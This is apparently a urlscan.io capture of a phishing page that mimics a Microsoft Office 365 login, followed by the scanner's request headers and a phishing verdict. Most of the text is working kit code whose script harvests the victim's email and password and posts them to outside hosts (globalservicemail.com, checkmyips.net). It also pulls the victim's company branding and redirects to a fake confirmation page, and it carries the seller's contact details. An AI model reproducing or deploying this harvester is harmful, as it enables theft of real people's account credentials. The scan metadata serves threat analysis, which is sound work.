						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/35B8) /
Resource Hash
569d3f3db93ec9a8dd81aa321eba9912b1f24a8dc7553f2b3eeffcdc8aeaa116

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:28:00 GMT
content-encoding
gzip
content-md5
WO4uW/y42E/4n+nHz177Gg==
age
2521086
x-cache
HIT
content-length
12395
x-ms-lease-status
unlocked
last-modified
Mon, 08 Feb 2021 18:58:52 GMT
server
ECAcc (lhd/35B8)
etag
0x8D8CC6393EED0A3
vary
Accept-Encoding
content-type
application/x-javascript
access-control-allow-origin
*
x-ms-request-id
279d5a62-201e-0038-1caa-fe38d3000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=31536000
x-ms-version
2009-09-19
accept-ranges
bytes

Verdicts & Comments Add Verdict or Comment

Potentially malicious activity detected
Disclaimer: These verdicts should be used to detect potentially malicious websites, not as a final verdict!

urlscan

Phishing against: Microsoft (Consumer)

10 JavaScript Global Variables

These are the non-standard "global" variables defined on the window object. These can be helpful in identifying possible client-side frameworks and code.

object| 0 object| ontransitionrun object| ontransitionstart object| ontransitioncancel object| cookieStore function| showDirectoryPicker function| showOpenFilePicker function| showSaveFilePicker object| trustedTypes boolean| crossOriginIsolated

0 Cookies